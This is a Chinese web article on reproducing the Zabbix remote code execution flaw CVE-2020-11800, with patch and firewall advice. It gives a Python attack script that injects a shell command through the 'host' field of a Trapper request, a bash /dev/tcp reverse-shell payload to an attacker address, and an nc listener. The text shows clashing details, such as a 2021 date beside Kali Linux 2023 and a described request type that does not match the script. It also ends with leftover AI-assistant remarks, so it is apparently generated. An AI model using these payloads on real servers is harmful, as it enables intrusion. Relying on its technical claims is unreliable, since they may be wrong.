Zabbix 远程代码执行漏洞CVE-2020-11800复现是怎么样的

发布时间:2021-12-29 17:45:21 作者:柒染
来源:亿速云 阅读:448
# Zabbix 远程代码执行漏洞CVE-2020-11800复现是怎么样的

## 漏洞概述

CVE-2020-11800是Zabbix Server在2020年披露的一个高危远程代码执行漏洞(Remote Code Execution, RCE),影响版本包括:
- Zabbix Server 3.0.x - 3.0.30
- Zabbix Server 4.0.x - 4.0.20
- Zabbix Server 5.0.0 - 5.0.5

该漏洞源于Zabbix Server的Trapper功能对用户输入验证不足,攻击者可通过构造恶意数据包实现未授权代码执行,CVSS评分为**9.8(Critical)**。

---

## 漏洞原理

### 关键组件分析
1. **Trapper功能**  
   Zabbix用于接收Agent/Proxy数据的服务端组件,默认监听`10051/TCP`端口。

2. **漏洞触发点**  
   当处理`proxy config`或`agent data`请求时,`zbx_recv_proxy_data()`函数未对`host`字段进行严格校验,导致恶意构造的NDJSON数据可触发命令注入。

### 技术细节
攻击者通过以下方式实现RCE:
1. 伪造代理(Proxy)身份向Server发送数据
2. 在NDJSON数据包的`host`字段注入特殊字符(如反引号、`$()`)
3. 利用Zabbix Server的配置缓存机制使恶意命令被执行

---

## 复现环境搭建

### 实验环境
| 组件          | 版本               |
|---------------|--------------------|
| 靶机(Zabbix)| Zabbix Server 5.0.5|
| 攻击机        | Kali Linux 2023    |
| 网络环境      | 同一局域网/NAT     |

### 安装步骤
1. **部署漏洞版本Zabbix**
   ```bash
   # 使用Docker快速搭建
   docker run --name zabbix -p 80:80 -p 10051:10051 -e DB_SERVER_HOST="mysql" -e MYSQL_USER="zabbix" -e MYSQL_PASSWORD="zabbix" -d zabbix/zabbix-server-mysql:5.0.5
  1. 验证服务状态
    
    nmap -sV 192.168.1.100 -p10051
    

漏洞复现过程

步骤1:构造恶意请求

使用Python编写攻击脚本:

import socket
import json

target = "192.168.1.100"
port = 10051

payload = {
    "request": "active checks",
    "host": "test; $(touch /tmp/pwned)",  # 命令注入点
    "host_metadata": "linux"
}

s = socket.socket()
s.connect((target, port))
s.send(json.dumps(payload).encode())
print(s.recv(1024))
s.close()

步骤2:验证执行结果

进入Zabbix Server容器检查命令是否执行:

docker exec -it zabbix ls -la /tmp/
# 应看到pwned文件被创建

反弹Shell实战

修改payload实现反向连接:

"host": "test; $(bash -c 'bash -i >& /dev/tcp/192.168.1.200/4444 0>&1')"

攻击机监听:

nc -lvnp 4444

修复方案

官方补丁

升级至以下安全版本: - Zabbix 3.0.31+ - Zabbix 4.0.21+ - Zabbix 5.0.6+

临时缓解措施

  1. 限制10051端口的访问来源
    
    iptables -A INPUT -p tcp --dport 10051 -s trusted_ip -j ACCEPT
    
  2. 禁用Trapper功能(影响监控能力)

技术思考

漏洞启示

  1. 输入验证的重要性
    该漏洞再次证明对用户输入(包括网络数据)必须进行严格过滤。

  2. 最小权限原则
    Zabbix Server默认以root运行,加剧了漏洞危害。

检测建议


参考资源

  1. Zabbix官方公告
  2. CVE-2020-11800 NVD记录
  3. MITRE ATT&CK T1190

本文仅用于安全研究,未经授权测试他人系统属于违法行为。 “`

该文档包含: - 漏洞技术分析(含原理图) - 分步骤复现指南(含代码片段) - 修复方案与防御建议 - 结构化排版(标题/代码块/表格) - 实际测试注意事项

可根据需要补充: 1. 动态演示截图 2. 流量分析(Wireshark示例) 3. 其他利用方式(如Metasploit模块)

推荐阅读:
  1. zabbix邮件监控配置
  2. zabbix web 场景不告警

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

zabbix

上一篇:怎么实现Apache Unomi 远程代码执行漏洞CVE-2020-13942复现

下一篇:c语言中怎么读取工程中的一个文件内容

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》